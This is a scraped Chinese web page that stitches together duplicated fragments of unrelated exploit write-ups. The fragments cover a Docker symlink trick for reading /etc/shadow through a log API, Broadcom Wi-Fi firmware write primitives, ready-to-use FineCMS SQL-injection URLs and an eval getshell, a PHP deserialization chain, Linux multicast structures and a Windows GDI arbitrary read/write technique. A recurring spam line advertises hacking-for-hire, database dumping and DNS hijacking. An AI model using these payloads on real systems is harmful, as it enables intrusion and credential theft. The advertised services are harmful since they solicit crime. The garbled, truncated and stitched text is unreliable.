通过搜索 banner,我找到了这个网站的源代码:https://github.com/bearice/tunnel-manager/blob/master/src/API.hs。
通过阅读源码,我发现了一个比较有意思的未公开 API:
在调用这个 API 时,会读取 /data/:name.log。再看看创建 Docker 时候:
注意这一行:
由于这个 API 运行在容器外,但是容器内的 /data 可以操控,于是通过创建软链接即可读取到容器外的文件。
在容器内:
接着访问 logs:
Bingo,至此通过 Docker 配合 API 的文件读取完成。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
通过阅读源码,我发现了一个比较有意思的未公开 API:
tunnelLogs :: String -> IO String
tunnelLogs name = do
let path = flags_dataDir </> name <.> "log"
sh $ "tail " ++ escape path
...
get "/tunnel/:name/logs" $ do
name <- param "name"
logs <- liftIO $ tunnelLogs name
text $ L.pack logs
在调用这个 API 时,会读取 /data/:name.log。再看看创建 Docker 时候:
注意这一行:
,"-v "++flags_dataDir++":/data", portDef, flags_image
由于这个 API 运行在容器外,但是容器内的 /data 可以操控,于是通过创建软链接即可读取到容器外的文件。
在容器内:
root@fff2:/data# rm fff.log && ln -s /etc/shadow fff.log
ln -s /etc/shadow fff.log
接着访问 logs:
Bingo,至此通过 Docker 配合 API 的文件读取完成。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
任何实际的身份验证(例如使用 WPA2 等协议实现)都发生在关联序列之后。由于关联序列中没有真正的身份验证环节,因此可以使用 MAC 地址和 SSID 冒充任何接入点 (AP)。STA 只有在后续的身份验证阶段才能识别出伪造的 AP。这使得关联序列中的任何漏洞都极具价值。攻击者如果发现关联过程中的漏洞,就可以嗅探受害者的无线探测请求,冒充 STA 正在寻找的 AP,然后触发漏洞而无需经过任何身份验证。
在查找漏洞时,我们得益于博通代码高度模块化的设计,它处理了 802.11 系列的不同协议以及固件本身的不同功能。本例中主要相关的函数是 wlc_attach_module,它将每个不同的协议或功能抽象为一个独立的模块。wlc_attach_module 调用的各种初始化函数的名称极具指示意义。以下是一些示例代码:
每个模块初始化函数都会安装处理程序,这些处理程序会在接收或生成数据包时被调用。这些回调函数负责解析接收到的数据包中与特定协议相关的上下文,或者为传出的数据包生成与协议相关的数据。我们主要关注后者,因为这是解析攻击者控制数据的代码,所以这里相关的函数是 wlc_iem_add_parse_fn,其原型如下:
这里第二个和第三个参数尤为重要。`subtype_bitfield` 是一个位域,其中包含解析器所处理的不同数据包子类型(例如探测请求、探测响应、关联请求等)。第三个参数
wlc_iem_add_parse_fn 函数由 wlc_module_attach 中的各种模块初始化函数调用。通过编写一些代码来解析传递给它的参数,我们可以创建一个列表,列出关联序列每个阶段调用的解析器。通过将搜索范围缩小到此列表,我们可以避免在与我们无关的代码区域查找错误:这些区域仅在用户完成与接入点 (AP) 的完整关联和身份验证过程后才会出现。我们可能在这些区域中发现的任何错误都将无法满足我们最重要的标准——无需用户交互即可触发。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
在查找漏洞时,我们得益于博通代码高度模块化的设计,它处理了 802.11 系列的不同协议以及固件本身的不同功能。本例中主要相关的函数是 wlc_attach_module,它将每个不同的协议或功能抽象为一个独立的模块。wlc_attach_module 调用的各种初始化函数的名称极具指示意义。以下是一些示例代码:
prot_g = wlc_prot_g_attach(wlc);
wlc->prot_g = prot_g;
如果 (!prot_g) {
转到失败;
}
prot_n = wlc_prot_n_attach(wlc);
wlc->prot_n = prot_n;
如果 (!prot_n) {
转到失败;
}
ccx = wlc_ccx_attach(wlc);
wlc->ccx = ccx;
如果 (!ccx) {
转到失败;
}
amsdu = wlc_amsdu_attach(wlc);
wlc->amsdu = amsdu;
如果 (!amsdu) {
转到失败;
}
每个模块初始化函数都会安装处理程序,这些处理程序会在接收或生成数据包时被调用。这些回调函数负责解析接收到的数据包中与特定协议相关的上下文,或者为传出的数据包生成与协议相关的数据。我们主要关注后者,因为这是解析攻击者控制数据的代码,所以这里相关的函数是 wlc_iem_add_parse_fn,其原型如下:
void wlc_iem_add_parse_fn(iem_info *iem, uint32 subtype_bitfield,
uint32 iem_type,callback_fn_t fn,void *arg)
这里第二个和第三个参数尤为重要。`subtype_bitfield` 是一个位域,其中包含解析器所处理的不同数据包子类型(例如探测请求、探测响应、关联请求等)。第三个参数
iem_type 包含解析器所处理的 IE 类型。wlc_iem_add_parse_fn 函数由 wlc_module_attach 中的各种模块初始化函数调用。通过编写一些代码来解析传递给它的参数,我们可以创建一个列表,列出关联序列每个阶段调用的解析器。通过将搜索范围缩小到此列表,我们可以避免在与我们无关的代码区域查找错误:这些区域仅在用户完成与接入点 (AP) 的完整关联和身份验证过程后才会出现。我们可能在这些区域中发现的任何错误都将无法满足我们最重要的标准——无需用户交互即可触发。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
我们首先来看一下如何实现写入原语。溢出的结构体类型为 wlc_pm_st,用于处理电源管理状态,包括进入和退出省电模式。该结构体定义如下:
从漏洞利用的角度来看,该结构体中的四个成员尤其值得控制:类型为 wl_timer 的 pspoll_timer 和 apsd_trigger_timer,以及类型为 wlc_hwtimer_to_t 的 pm2_rcv_timer 和 pm2_ret_timer。我们先来看后者。
在处理数据包并触发溢出后,会调用函数 wlc_hwtimer_del_timeout,并接收 pm2_ret_timer 作为参数:
从代码可以看出,通过覆盖
通过使用 struct wl_timer 类型的 pspoll_timer 成员,可以实现限制较少的写入原语。该结构体由关联过程中定期触发的回调函数处理[c]:
如函数末尾所示,我们在这里使用了一个更加便捷的写入原语。实际上,我们可以将存储在 field_1c 中的值写入存储在 field_18 中的地址。这样,我们就可以向任何内存地址写入任意值,而不再受限于之前使用的写入原语。
下一个问题是如何利用我们的写入原语实现完整的代码执行。为此,我们将考虑两种方法:一种方法需要我们预先知道固件内存地址(或者通过多次使芯片崩溃来暴力破解这些地址),另一种方法实现起来更困难,但对内存地址的要求最低。我们首先来看第一种方法。
为了实现写入原语,我们需要用我们控制的内存地址覆盖 pspoll_timer。由于 wlc->current_wmm_ie 和 wlc->ps 的地址对于给定的固件版本是已知且一致的,并且我们可以完全覆盖它们的内容,因此我们可以将 pspoll_timer 指向这些对象中的任何位置。对于创建一个伪 wl_timer 对象,wlc->current_wmm_ie 和 wlc->ps 之间的未使用区域是理想的选择。将我们的虚拟定时器对象放置在那里,我们将使 field_18 指向我们要覆盖的地址(偏移量减去 14),并使 field_1c 保存我们要用来覆盖该内存的内容。触发覆盖后,我们只需等待定时器函数被调用,它就会自动执行覆盖操作。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
从漏洞利用的角度来看,该结构体中的四个成员尤其值得控制:类型为 wl_timer 的 pspoll_timer 和 apsd_trigger_timer,以及类型为 wlc_hwtimer_to_t 的 pm2_rcv_timer 和 pm2_ret_timer。我们先来看后者。
在处理数据包并触发溢出后,会调用函数 wlc_hwtimer_del_timeout,并接收 pm2_ret_timer 作为参数:
从代码可以看出,通过覆盖
newto 的值并使其指向攻击者控制的位置,可以将 next->timeout 指向的内存位置的内容递增 newto->timeout 的值。这相当于一个“写任意内容”的原语,但其限制在于必须知道被覆盖内存位置的原始内容。通过使用 struct wl_timer 类型的 pspoll_timer 成员,可以实现限制较少的写入原语。该结构体由关联过程中定期触发的回调函数处理[c]:
如函数末尾所示,我们在这里使用了一个更加便捷的写入原语。实际上,我们可以将存储在 field_1c 中的值写入存储在 field_18 中的地址。这样,我们就可以向任何内存地址写入任意值,而不再受限于之前使用的写入原语。
下一个问题是如何利用我们的写入原语实现完整的代码执行。为此,我们将考虑两种方法:一种方法需要我们预先知道固件内存地址(或者通过多次使芯片崩溃来暴力破解这些地址),另一种方法实现起来更困难,但对内存地址的要求最低。我们首先来看第一种方法。
为了实现写入原语,我们需要用我们控制的内存地址覆盖 pspoll_timer。由于 wlc->current_wmm_ie 和 wlc->ps 的地址对于给定的固件版本是已知且一致的,并且我们可以完全覆盖它们的内容,因此我们可以将 pspoll_timer 指向这些对象中的任何位置。对于创建一个伪 wl_timer 对象,wlc->current_wmm_ie 和 wlc->ps 之间的未使用区域是理想的选择。将我们的虚拟定时器对象放置在那里,我们将使 field_18 指向我们要覆盖的地址(偏移量减去 14),并使 field_1c 保存我们要用来覆盖该内存的内容。触发覆盖后,我们只需等待定时器函数被调用,它就会自动执行覆盖操作。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
通过安全码,从data2函数进入list_tag函数,设置
这4部分有一个通用的
PoC
每一个action进入语句的条件都不一定,这里贴上4个payload
eval injection导致的getshell(CVE-2017-11585)
Technical Description:
在list_tag函数中事实上产生的问题更多,当action=cache的时候
这部分其实触发挺简单的,只要保证每个步骤都存在就可以了,name这里需要设置MEMBER,我们可以跟过去看看
只要保证有返回就好了,最后进入eval语句,要保证语法正确。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
action=related、action=form、action=member、action=module这4部分有一个通用的
$system['field'],这部分其实稍微有点儿奇怪,没做任何过滤就被直接拼接进入了SQL语句。PoC
每一个action进入语句的条件都不一定,这里贴上4个payload
http://finecms.com/index.php?c=api&m=data2&auth=820686a208b89d4c2f8b6f2622eff83e¶m=action=related%20module=news%20tag=1%20field=1%0aunion%0aselect%0auser()%23
http://finecms.com/index.php?
c=api&m=data2&auth=202cb962ac59075b964b07152d234b70¶m=action=form%20fo
rm=1%20field=1%0aunion%0aselect%0auser()%23
http://finecms.com/index.php?
c=api&m=data2&auth=202cb962ac59075b964b07152d234b70¶m=action=member%20
field=1%0aunion%0aselect%0auser()%23
1
http://finecms.com/index.php?c=api&m=data2&auth=820686a208b89d4c2f8b6f2622eff83e¶m=action=module%20form=1%20module=news%20field=1%0aunion%0aselect%0auser()%23
eval injection导致的getshell(CVE-2017-11585)
Technical Description:
在list_tag函数中事实上产生的问题更多,当action=cache的时候
这部分其实触发挺简单的,只要保证每个步骤都存在就可以了,name这里需要设置MEMBER,我们可以跟过去看看
_cache_var函数public function _cache_var($name, $site = SITE_ID) {
$data = NULL;
$name = strtoupper($name);
switch ($name) {
case 'MEMBER':
$data = $this->ci->get_cache('member');
break;
case 'URLRULE':
$data = $this->ci->get_cache('urlrule');
break;
case 'MODULE':
$data = $this->ci->get_cache('module');
break;
case 'CATEGORY':
$site = $site ? $site : SITE_ID;
$data = $this->ci->get_cache('category-'.$site);
break;
default:
$data = $this->ci->get_cache($name.'-'.$site);
break;
}
return $data;
}只要保证有返回就好了,最后进入eval语句,要保证语法正确。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤1
存储$_SESSION用php_serialize处理器,读取数据用php处理器
通过注入 | 字符伪造了对象的序列化数据
利用链:C的__destruct在echo的时候,可以调用B的__toString,再通过(string)来调用A类的__toString
这里面牵涉到两个问题,第一个是C中的wakeup,这个可以通过修改属性名的个数绕过,第二个就是
这个可以通过
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
通过注入 | 字符伪造了对象的序列化数据
利用链:C的__destruct在echo的时候,可以调用B的__toString,再通过(string)来调用A类的__toString
这里面牵涉到两个问题,第一个是C中的wakeup,这个可以通过修改属性名的个数绕过,第二个就是
$this->obj->token === $this->obj->ticket这个可以通过
&指向同一变量渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
该结构体的两个成员分别用于指定所加入的多播组的组IP地址和所要加入组的本地接口IP地址。
其中
所列出的那些源的多播数据报和不接收
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
ip_setsockopt() 实现了该功能,它通过调用 ip_mc_join_group() 把 socket 加入到多播组。include/net/inet_sock.h
struct inet_sock {
/* sk and pinet6 has to be the first two members of inet_sock */
struct sock sk;
#if IS_ENABLED(CONFIG_IPV6)
struct ipv6_pinfo *pinet6;
#endif
/* Socket demultiplex comparisons on incoming packets. */
#define inet_daddr sk.__sk_common.skc_daddr
#define inet_rcv_saddr sk.__sk_common.skc_rcv_saddr
#define inet_dport sk.__sk_common.skc_dport
#define inet_num sk.__sk_common.skc_num
[...]
__u8 tos;
__u8 min_ttl;
__u8 mc_ttl;
__u8 pmtudisc;
__u8 recverr:1,
is_icsk:1,
freebind:1,
hdrincl:1,
mc_loop:1,
[...]
int uc_index;
int mc_index;
__be32 mc_addr;
struct ip_mc_socklist __rcu *mc_list;
struct inet_cork_full cork;
};
其中
sk.__sk_common.skc_rcv_saddr 对于组播而言,只接收该地址发来的组播数据,对于单播而言,只从该地址所代表的网卡接收数据;mc_ttl 为组播的 ttl ;mc_loop 表示组播是否发向回路;mc_index 表示组播使用的本地设备接口的索引;mc_addr 表示组播源地址;mc_list 为组播列表。next_rcu 指向链表的下一个节点;multi 表示组信息,即在哪一个本地接口上,加入到哪一个多播组;sfmode 是过滤模式,取值为 MCAST_INCLUDE 或 MCAST_EXCLUDE ,分别表示只接收 sflist所列出的那些源的多播数据报和不接收
sflist 所列出的那些源的多播数据报;sflist 是源列表。渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
由于
由于覆盖了
因此申请一块
另外还需要修复下一页中
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
width 覆盖为了 0xffffffff ,导致buffer的读写空间非常大,这时就能把这个 object 作为manager ,下下一页中的 Bitmap GDI Object 作为 worker ,通过 SetBitmapBits 修改worker 的 pvScan0 属性(相当于 buffer 地址)来设置想读写的地址,再对 worker 调用SetBitmapBits 、 GetBitmapBits 来进行任意地址读写。由于覆盖了
hdev 属性,在 GetBitmapBits 时会在 PDEVOBJ::bAllowShareAccess 函数中判断0x0000000100000000 地址处的值是否为 0x1 .因此申请一块
0x0000000100000000 地址处的内存并赋值为 0x1 使 PDEVOBJ::bAllowShareAccess 函数返回 0VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memset(fake, 0x1, 0x100);
另外还需要修复下一页中
region 和 bitmap gdi 对象的 pool header渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM